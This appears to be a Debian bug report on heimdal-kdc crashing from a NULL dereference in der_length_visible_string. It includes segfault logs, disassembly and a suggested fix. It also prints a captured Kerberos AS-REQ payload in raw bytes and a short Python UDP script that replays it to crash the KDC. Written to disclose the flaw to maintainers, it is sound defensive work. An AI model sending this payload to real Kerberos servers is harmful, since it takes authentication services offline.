Package: heimdal-kdc
Version: 7.1.0+dfsg-13+deb9u1 amd64
Severity: important


We are running heimdal-kdc 7.1.0+dfsg-13+deb9u1 amd64 shipped with
Debian stretch for our Domain and have discovered several crashes in the
past few months. Investigation showed that dmesg contained several logs
about segfaults:

[Fr Jun 23 12:07:17 2017] kdc[14596]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Di Jun 27 21:37:26 2017] kdc[10087]: segfault at 18 ip 00007f65c02ef5d0
sp 00007ffd1d7f7298 error 4 in libasn1.so.8.0.0[7f65c0268000+a7000]
[Mo Jul  3 16:18:39 2017] kdc[2656]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[So Jul  9 08:55:39 2017] kdc[6092]: segfault at 18 ip 00007fa27ec105d0
sp 00007ffedcb061f8 error 4 in libasn1.so.8.0.0[7fa27eb89000+a7000]
[Di Jul 11 13:06:14 2017] kdc[28993]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Di Jul 11 23:39:40 2017] kdc[32211]: segfault at 18 ip 00007fb9dccda5d0
sp 00007ffc6e2ee648 error 4 in libasn1.so.8.0.0[7fb9dcc53000+a7000]
[Sa Jul 15 13:20:17 2017] kdc[6902]: segfault at 18 ip 00007fb76d5ef5d0
sp 00007ffc22a84078 error 4 in libasn1.so.8.0.0[7fb76d568000+a7000]
[Fr Jul 21 12:17:37 2017] kdc[9219]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Jul 23 21:10:59 2017] kdc[26977]: segfault at 18 ip 00007fdfcbf2b5d0
sp 00007ffe9f295128 error 4 in libasn1.so.8.0.0[7fdfcbea4000+a7000]
[So Aug  6 12:06:04 2017] kdc[26494]: segfault at 18 ip 00007f342c8d35d0
sp 00007fff8ae39088 error 4 in libasn1.so.8.0.0[7f342c84c000+a7000]
[Di Aug 15 15:21:41 2017] kdc[28412]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Mi Aug 16 08:46:13 2017] kdc[5166]: segfault at 18 ip 00007f4780b605d0
sp 00007ffd63250328 error 4 in libasn1.so.8.0.0[7f4780ad9000+a7000]
[Di Aug 29 04:01:58 2017] kdc[5268]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Fr Sep  1 16:56:57 2017] kdc[13396]: segfault at 18 ip 00007f31fdd065d0
sp 00007ffd8392c748 error 4 in libasn1.so.8.0.0[7f31fdc7f000+a7000]
[Mo Sep 11 20:10:45 2017] kdc[16093]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]
[Di Sep 12 13:46:17 2017] kdc[24683]: segfault at 18 ip 00007f8a096715d0
sp 00007ffd48ba4b28 error 4 in libasn1.so.8.0.0[7f8a095ea000+a7000]

The heimdal-kdc log gave us additional information:

lofar log # zgrep "AS-REQ malformed client name" heimdal-kdc.log*
heimdal-kdc.log:2017-09-11T20:10:46 AS-REQ malformed client name from
IPv4:80.82.77.139
heimdal-kdc.log:2017-09-12T13:46:18 AS-REQ malformed client name from
IPv4:185.100.87.246
heimdal-kdc.log.2.gz:2017-08-29T04:01:59 AS-REQ malformed client name
from IPv4:71.6.135.131
heimdal-kdc.log.2.gz:2017-09-01T16:56:58 AS-REQ malformed client name
from IPv4:34.208.25.133
heimdal-kdc.log.4.gz:2017-08-15T15:21:41 AS-REQ malformed client name
from IPv4:96.126.127.61
heimdal-kdc.log.4.gz:2017-08-16T08:46:13 AS-REQ malformed client name
from IPv4:71.6.158.166
heimdal-kdc.log.5.gz:2017-08-06T12:06:05 AS-REQ malformed client name
from IPv4:71.6.167.142

The KDC was directly reachable over the Internet - those IPs do not
belong to us but seemed to send packets crashing our master or our slave
(we observed the same there).
While waiting to capture one of those packets and reproduce the issues,
my colleague Thomas Kittel located the part of the code responsible for
the crash:

  * RIP in libasn1.so.0 (relativ) 0x875d0.
  * "der_length_visible_string@@HEIMDAL_ASN1_1.0"
  ____________________________
   875d0:       48 8b 3f                mov    rdi,QWORD PTR [rdi]
   875d3:       e9 e8 83 f9 ff          jmp    1f9c0 <strlen@plt>
   875d8:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
   875df:       00
  ____________________________

  * Source:
https://github.com/heimdal/heimdal/blob/master/lib/asn1/der_length.c
  size_t
  der_length_visible_string (const heim_visible_string *data)
  {
      return strlen(*data);
  }

As quickfix, he supposed to include a NULL check (which we did not test
yet): if(!data) return 0;

We managed to get our hands on one of the payloads (c.f. attachments).
It seems to be a syntactically valid Kerberos message (see decoded_der.txt)
with nonsense values but nothing obviously looking like attempts to
inject shellcode or abuse any vulnerability.
I attached the raw bytes of the complete packet as well as the raw bytes
of the Kerberos message only. Replaying the payload lead to reproducible
crashes (steps to reproduce attached) and since we see these packets at
least since June (symptoms for over a year) there seem to be people
making use of this in the wild.

We do currently not know if the packets are only DoS attempts or if the
crashes are only side effects of more severe attacks like leaks or code
execution. We enabled the firewall to drop Kerberos packets coming from
the Internet, but there may be others suffering from these attacks.

We believe that this is a upstream bug. I tried to contact the
developers via PGP-encrypted mail but they did not react.

If there are any open questions, please do not hesitate to contact us!

Best regards,
Michael Eder


from pyasn1.codec.der.decoder import decode as der_decode
with open("/tmp/krb_crash_only_krb_packet.bin", "rb") as f:
     derdata=f.read()
data = der_decode(derdata)[0]
print data

Sequence(
    componentType=NamedTypes(),
    tagSet=TagSet(
        (),
        Tag(tagClass=0, tagFormat=32, tagId=16),
        Tag(tagClass=64, tagFormat=32, tagId=10)
    )
).setComponents(
    Integer(
        5,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=1)
        )
    ),
    Integer(
        10,
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=0, tagId=2),
            Tag(tagClass=128, tagFormat=32, tagId=2)
        )
    ),
    Sequence(
        componentType=NamedTypes(),
        tagSet=TagSet(
            (),
            Tag(tagClass=0, tagFormat=32, tagId=16),
            Tag(tagClass=128, tagFormat=32, tagId=4)
        )
    ).setComponents(
        BitString(
            "'01010000100000000000000000010000'B",
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=3),
                Tag(tagClass=128, tagFormat=32, tagId=0)
            )
        ),
        GeneralString(
            'NM',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=27),
                Tag(tagClass=128, tagFormat=32, tagId=2)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=3)
            )
        ).setComponents(
            Integer(
                0,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2),
                    Tag(tagClass=128, tagFormat=32, tagId=0)
                )
            ),
            Sequence(
                componentType=NamedTypes(),
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=32, tagId=16),
                    Tag(tagClass=128, tagFormat=32, tagId=1)
                )
            ).setComponents(
                GeneralString(
                    'krbtgt',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                ),
                GeneralString(
                    'NM',
                    tagSet=TagSet(
                        (),
                        Tag(tagClass=0, tagFormat=0, tagId=27)
                    )
                )
            )
        ),
        GeneralizedTime(
            '19700101000000Z',
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=24),
                Tag(tagClass=128, tagFormat=32, tagId=5)
            )
        ),
        Integer(
            522107353,
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=0, tagId=2),
                Tag(tagClass=128, tagFormat=32, tagId=7)
            )
        ),
        Sequence(
            componentType=NamedTypes(),
            tagSet=TagSet(
                (),
                Tag(tagClass=0, tagFormat=32, tagId=16),
                Tag(tagClass=128, tagFormat=32, tagId=8)
            )
        ).setComponents(
            Integer(
                18,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                17,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                16,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                23,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                1,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                3,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            ),
            Integer(
                2,
                tagSet=TagSet(
                    (),
                    Tag(tagClass=0, tagFormat=0, tagId=2)
                )
            )
        )
    )
)

Attachment: krb_crash.bin
Description: Binary data

Attachment: krb_crash_only_krb_packet.bin
Description: Binary data

In [1]: import socket

In [2]: UDP_HOST = "lofar.fs.tum.de"

In [3]: UDP_PORT = 88

In [4]: with open("krb_crash_only_krb_packet.bin", "rb") as crashfile:
   ...:     PAYLOAD = crashfile.read()
   ...:

In [5]: print(PAYLOAD)
b'j\x81n0\x81k\xa1\x03\x02\x01\x05\xa2\x03\x02\x01\n\xa4\x81^0\\\xa0\x07\x03\x05\x00P\x80\x00\x10\xa2\x04\x1b\x02NM\xa3\x170\x15\xa0\x03\x02\x01\x00\xa1\x0e0\x0c\x1b\x06krbtgt\x1b\x02NM\xa5\x11\x18\x0f19700101000000Z\xa7\x06\x02\x04\x1f\x1e\xb9\xd9\xa8\x170\x15\x02\x01\x12\x02\x01\x11\x02\x01\x10\x02\x01\x17\x02\x01\x01\x02\x01\x03\x02\x01\x02'

In [6]: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

In [7]: s.sendto(PAYLOAD, (UDP_HOST, UDP_PORT))
Out[7]: 113


/var/log/heimdal-kdc.log:2017-09-19T20:15:15 AS-REQ malformed client name from 
IPv4:<myIP>

Attachment: signature.asc
Description: OpenPGP digital signature

Reply via email to